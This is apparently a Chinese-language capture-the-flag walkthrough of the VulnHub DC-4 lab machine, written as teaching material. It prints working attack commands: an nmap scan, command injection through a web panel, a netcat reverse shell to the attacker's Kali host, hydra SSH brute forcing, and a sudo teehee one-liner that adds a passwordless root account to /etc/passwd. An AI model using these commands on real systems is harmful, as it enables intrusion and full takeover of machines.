一,环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-4.zip
二,攻略
主机发现;

靶机IP为:192.168.20.146
端口扫描;
nmap -sV -p- -sC -T4 192.168.20.146

开放了22和80两个端口;
首先访问一下IP;

只有一个登录界面;
直接admin跑弱口令;


拿到一个密码,尝试登录;

进入command;


这三个命令都是可以执行的;
尝试burp suite抓包;

执行了这样的命令;
修改命令,查看是否可以执行;

可以执行其他的命令,尝试查看cat /etc/passwd

设置一个反弹连接;使用kali监听7777端口;

执行命令进行反弹连接;
bash
nc -nv 192.168.20.151 7777 -c /bin/bash

建立连接成功;
bash
python -c 'import pty;pty.spawn("/bin/bash")'
上述passwd中存在三个用户;

果然,在jim的目录下发现了一个旧的密码文件;
bash
hydra -L u.txt -P pass.txt 192.168.20.146 ssh
使用hydra跑一下上面的用户的ssh服务;

发现一组成功的密码;现在尝试切换用户;

切换成功,现在收集信息;

jim中没有可以使用root权限运行的程序;
在jim用户的/var/mail/jim邮件中存在一个charles用户的密码;
这封邮件来自于charles用户;

接下来尝试登录charles用户;

登录成功,并且存在一个root权限执行的程序,而且不需要密码;
使用teehee写入一个用户,具有root用户的权限;且没有密码;
bash
echo 'mu::0:0::/root:/bin/bash' | sudo teehee -a /etc/passwd

这样就拿到了最终的flag;
三,结论
拿到登录框首先要尝试弱口令,对后台用户进行爆破;
在每切换到一个用户的时候,要尽可能多的进行信息收集,收集一切可以利用的信息;